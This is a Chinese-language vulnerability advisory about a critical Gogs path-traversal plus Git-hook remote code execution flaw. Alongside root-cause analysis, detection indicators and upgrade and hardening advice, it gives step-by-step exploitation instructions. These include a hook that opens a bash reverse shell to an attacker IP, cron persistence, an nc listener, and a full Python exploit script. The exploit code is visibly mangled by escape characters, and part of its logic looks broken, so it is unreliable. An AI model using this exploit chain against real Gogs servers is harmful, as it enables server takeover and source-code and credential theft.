【高危漏洞预警】CVE-2026-52813|Gogs路径遍历+Git钩子组合RCE"

admin 2026-10-21 23:12:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

【高危漏洞预警】CVE-2026-52813|Gogs路径遍历+Git钩子组合RCE

飓风网络安全

2026年6月30日 22:22
北京

在小说阅读器读本章

去阅读

漏洞概览:
漏洞类型 路径遍历(CWE-22)+代码执行(CWE-94)
危险等级: CVSS 3.1 满分10.0 严重漏洞
影响产品 :Go语言轻量级Git托管平台Gogs
受影响版本: Gogs ≤ 0.14.2
安全版本: Gogs ≥ 0.14.3
利用前置条件 :目标开启用户注册权限,攻击者拥有普通会员账号,支持新建组织与仓库
执行权限 Gogs服务运行账户,Linux默认git用户,极易提权至服务器最高权限
关联漏洞 CVE-2026-52806(同平台命令注入漏洞,可组合构建完整攻击链)
攻击现状 :公开POC/EXP大量扩散,批量扫描工具流出,公网、政企内网自建Gogs资产面临批量入侵风险

漏洞简述:
Gogs在创建组织功能接口中,未对组织名称参数做严格的路径穿越字符过滤与路径规范化处理,攻击者可通过构造包含../跳转字符的恶意组织名,将仓库目录写入服务器任意物理路径。
结合Git仓库hooks钩子自动执行机制,攻击者可恶意覆写钩子脚本植入系统命令,在推送代码时自动触发执行,无需管理员权限即可实现远程代码执行,一旦攻陷目标,可窃取全部源码、服务器配置、数据库凭证,甚至拿下整台服务器控制权。

二、漏洞原理与源码根因剖析
1. Gogs默认仓库存储规则
Gogs常规仓库存储路径固定格式:
{数据根目录}/org/{组织名}/{仓库名}.git/
程序直接拼接用户可控的组织名称字段生成物理目录,未做输入净化,当组织名带入../路径跳转字符时,即可跳出预设目录,指向服务器任意文件夹。

  1. 漏洞核心缺陷源码逻辑(伪代码)
    // 漏洞核心代码:直接拼接用户输入,无路径遍历拦截
    func CreateOrganization(org \*models.Organization) error {
    // 未经处理直接使用用户传入的组织名拼接本地路径
    repoPath := filepath.Join(setting.RepoRootPath, \"org\", org.Name)
    // 直接创建目录,无非法字符黑名单、无路径标准化校验
    if err := os.MkdirAll(repoPath, 0755); err != nil {
    return err
    }
    // 基于可控路径创建Git仓库,开放.git/hooks目录读写权限
    return createOrgRepository(org)
    }

三大核心安全缺陷:
1. 未拦截../、正反斜杠、绝对路径等危险字符;

  1. 未调用路径标准化函数消除目录跳转逻辑;

  2. 新建仓库完整开放Git钩子目录读写权限,为命令执行提供载体。

4.Git Hooks攻击利用逻辑

Git钩子属于仓库本地自动化脚本,update钩子会在每一次代码推送时强制自动运行,完整攻击逻辑:
1. 路径穿越将恶意仓库定位至目标正常仓库的.git/hooks上级目录;

  1. 覆盖原有update可执行脚本,植入反弹Shell、系统命令、持久化后门;

  2. 向恶意仓库提交并推送代码,自动触发钩子执行,完成远程控制。

三、完整手动实操利用步骤
测试环境:Linux系统Gogs 0.14.2,开启公开注册,端口默认3000对外开放

步骤1:注册普通访客账号

访问目标Gogs站点注册页面,新建普通用户账号,无需管理员审核即可登录后台。

步骤2:创建路径穿越恶意组织

组织名称填入路径遍历Payload,按需调整层级:
../../../../var/lib/gogs/repos/目标用户名/目标仓库名/.git
该Payload可让新建组织目录直接指向目标仓库的.git根目录,为覆盖hooks文件夹铺路。

步骤3:恶意组织内新建hooks仓库

仓库名称固定填写hooks,创建完成后会直接覆盖原有仓库的.git/hooks目录。

步骤4:编写并上传恶意update钩子脚本

  1. Linux反弹Shell钩子脚本(文件命名为update,无后缀):

!/bin/bash

反向连接攻击机IP与监听端口

bash -i >& /dev/tcp/192.168.1.100/443 0>&1

写入定时任务后门持久化

echo \"\/1 \ \ \ \* /tmp/back.sh\" >> /var/spool/cron/crontabs/git
2. 本地初始化Git仓库并推送恶意钩子:
git init
mkdir .git/hooks
cp update .git/hooks/update
chmod +x .git/hooks/update
git add .
git commit -m \"poc hook\"
git push http://攻击者账号@目标IP:3000/恶意组织/hooks.git main
步骤5:监听端口触发漏洞执行

攻击机终端开启监听:
nc -lvp 443
代码推送瞬间目标服务器自动执行钩子脚本,攻击者获取服务器交互式Shell,漏洞利用完成。
Windows环境替换钩子内容为CMD命令:
@echo off
cmd /c whoami > C:\tmp\result.txt
四、Python自动化POC完整脚本&使用教程

POC完整代码
import requests
import os
import subprocess
import time
from urllib.parse import urljoin

class Gogs\CVE\_2026\_52813\_POC:
def \
\init\\_(self, target\_url, username, password, payload\_cmd, jump\_path):
self.target = target\_url.rstrip(\"/\")
self.session = requests.Session()
self.username = username
self.password = password
self.jump\_payload = jump\_path # 路径穿越字符串
self.cmd = payload\_cmd
self.csrf\_token = \"\"

def get\_csrf(self):
\"\"\"获取Gogs CSRF Token\"\"\"
res = self.session.get(urljoin(self.target, \"/user/login\"), verify=False)
token = res.text.split('name=\"\_csrf\" value=\"')[1].split('\"')[0]
self.csrf\_token = token
return token

def login(self):
\"\"\"账号登录\"\"\"
self.get\_csrf()
data = {
\"\_csrf\": self.csrf\_token,
\"user\_name\": self.username,
\"password\": self.password,
}
self.session.post(urljoin(self.target, \"/user/login\"), data=data, verify=False)
print(\"[+] 登录成功\")

def create\_org(self):
\"\"\"创建路径穿越恶意组织\"\"\"
self.get\_csrf()
data = {
\"\_csrf\": self.csrf\_token,
\"name\": self.jump\_payload,
\"display\_name\": \"poc\_test\",
\"description\": \"test\"
}
self.session.post(urljoin(self.target, \"/org/create\"), data=data, verify=False)
print(f\"[+] 恶意组织 {self.jump\_payload} 创建完成\")

def create\_repo(self):
\"\"\"创建hooks恶意仓库\"\"\"
self.get\_csrf()
data = {
\"\_csrf\": self.csrf\_token,
\"uid\": \"0\",
\"repo\_name\": \"hooks\",
\"description\": \"\",
\"private\": \"false\",
\"auto\_init\": \"true\"
}
self.session.post(urljoin(self.target, f\"/org/{self.jump\_payload}/new\"), data=data, verify=False)
print(\"[+] hooks恶意仓库创建成功\")

def build\_and\_push\_hook(self):
\"\"\"本地生成钩子脚本并推送\"\"\"
tmp\_dir = \"/tmp/gogs\_poc\_temp\"
if os.path.exists(tmp\_dir):
subprocess.run([\"rm\", \"-rf\", tmp\_dir])
os.mkdir(tmp\_dir)
os.chdir(tmp\_dir)
subprocess.run([\"git\", \"init\"])
os.mkdir(\".git/hooks\")
# 写入恶意update钩子
hook\_content = f\"#!/bin/bash\
{self.cmd}\"
with open(\".git/hooks/update\", \"w\") as f:
f.write(hook\_content)
subprocess.run([\"chmod\", \"+x\", \".git/hooks/update\"])
subprocess.run([\"git\", \"config\", \"user.name\", \"poc\"])
subprocess.run([\"git\", \"config\", \"user.email\", \"[email protected]\"])
subprocess.run([\"git\", \"add\", \".\"])
subprocess.run([\"git\", \"commit\", \"-m\", \"rce\_poc\"])
repo\_url = f\"{self.target}/{self.jump\_payload}/hooks.git\"
subprocess.run([\"git\", \"push\", \"-f\", repo\_url, \"master\"], input=f\"{self.username}\
{self.password}\
\".encode())
print(\"[+] 恶意钩子推送完毕,命令已触发\")
os.chdir(\"/\")

def exp\_start(self):
try:
self.login()
self.create\_org()
self.create\_repo()
self.build\_and\_push\_hook()
except Exception as e:
print(f\"[-] 利用失败:{str(e)}\")

if \\_name\\ == \"\\main\\_\":
# 配置参数
TARGET = \"http://127.0.0.1:3000\" # 目标Gogs地址
USER = \"test\_user\" # 注册账号
PWD = \"test123456\" # 账号密码
# 路径穿越跳转:根据目标Gogs实际仓库根目录修改
PATH\_PAYLOAD = \"../../../../var/lib/gogs/repos/admin/demo/.git\"
# 执行命令:反弹shell替换为自己攻击机IP端口
CMD\_PAYLOAD = \"bash -i >& /dev/tcp/192.168.1.100/443 0>&1\"

poc = Gogs\_CVE\_2026\_52813\_POC(TARGET, USER, PWD, CMD\_PAYLOAD, PATH\_PAYLOAD)
poc.exp\_start()
POC使用说明
1. 依赖环境:Python3、git客户端、requests库

  1. 安装依赖:pip install requests

  2. 修改头部目标地址、账号、路径Payload、执行命令

  3. Linux靶机执行反弹Shell前,攻击机开启nc -lvp 443监听
    五、入侵痕迹IOC与日志排查指标
    运维人员可通过以下特征排查是否遭受该漏洞攻击:

  4. 异常组织名称:组织名包含../、多级路径跳转字符;

  5. 仓库目录篡改:原有仓库.git/hooks/update文件修改时间异常、内容新增bash/cmd恶意命令;

  6. Git操作日志:Gogs后台审计日志出现非常规路径创建组织记录;

  7. 系统进程:git用户主动发起外网TCP连接(反弹Shell外联);

  8. 文件特征:临时目录生成后门脚本、定时任务新增恶意计划任务。
    六、分级修复与加固方案(优先级从高到低)
    方案1:官方彻底修复(推荐首选)
    直接升级Gogs至v0.14.3及以上正式版本
    官方下载地址:https://github.com/gogs/gogs/releases/tag/v0.14.3
    升级后官方修复路径遍历过滤逻辑,禁用非法字符组织名称创建,彻底封堵漏洞入口。

方案2:无法紧急升级时临时阻断措施
1. 关闭公开用户注册,修改app.ini配置文件并重启服务:
[auth]
DISABLE\_REGISTRATION = true
2. 限制普通用户新建组织权限,仅管理员可创建组织;

  1. 服务器端锁定所有Git仓库.git/hooks目录只读权限,禁止git账号写入修改;

  2. Nginx/Apache WAF拦截规则:请求体组织名称字段拦截../、/、\路径穿越字符;

  3. 禁用Gogs仓库Pull Request合并变基功能(同时阻断CVE-2026-52806关联漏洞)。

方案3:内网纵深防护
1. 自建Gogs禁止直接暴露公网,前置VPN/内网堡垒机访问;

  1. 监控git用户外联网络行为,阻断陌生IP反向连接;

  2. 定期全局审计所有Git仓库hooks脚本内容。

七、风险总结
CVE-2026-52813作为满分CVSS 10级严重RCE漏洞,攻击门槛极低(仅需普通注册账号),对公网、政企内网大量部署的Gogs私有代码服务器威胁极高,一旦利用成功将造成源代码泄露、服务器沦陷、内网横向渗透等重大安全事件。建议所有使用Gogs的单位24小时内完成版本升级或临时加固,并开展全网资产扫描排查受影响实例。


    【高危漏洞预警】CVE-2026-52813|Gogs路径遍历+Git钩子组合RCE" 网络安全文章

    【高危漏洞预警】CVE-2026-52813|Gogs路径遍历+Git钩子组合RCE"

    该文档详细分析了Gogs平台CVE-2026-52813高危漏洞,该漏洞因路径遍历与Git钩子组合导致远程代码执行,CVSS评分10.0。漏洞原理是组织名称参数未过滤路径穿越字符,允许攻击者通过恶意组织名将仓库目录写入服务器任意路径,结合覆写Git钩子脚本实现RCE。文档提供了手动利用步骤、Python自动化POC脚本、入侵痕迹排查指标及分级修复方案,建议立即升级至Gogs0.14.3或实施临时加固措施。
    【安全圈】AI插件藏后门?小心!" 网络安全文章

    【安全圈】AI插件藏后门?小心!"

    安全研究人员发现AIAgent的技能插件存在被恶意利用的风险,可能成为远程控制后门窃取用户数据。恶意插件可在用户不知情时读取敏感文件、远程执行代码并传输数据,且难以察觉。建议用户仅安装可信插件、定期审查权限、避免将敏感操作完全交由AI处理,并关注安全社区预警。
    突发!Meta禁止员工使用ClaudeCode、Codex" 网络安全文章

    突发!Meta禁止员工使用ClaudeCode、Codex"

    Meta公司内部备忘录曝光,正式禁止工程师使用ClaudeCode和OpenAICodex等第三方AI编程工具,主要原因为代码泄露风险和模型蒸馏危机。企业私有代码上传第三方服务器可能流入竞品训练集,引发技术外泄和法律纠纷。行业趋势显示字节、微软等企业也限制外部AI工具,转向自研解决方案。建议从业者划分公私设备使用边界,企业需完善数据管控体系平衡效率与安全。
    评论:0   参与:  0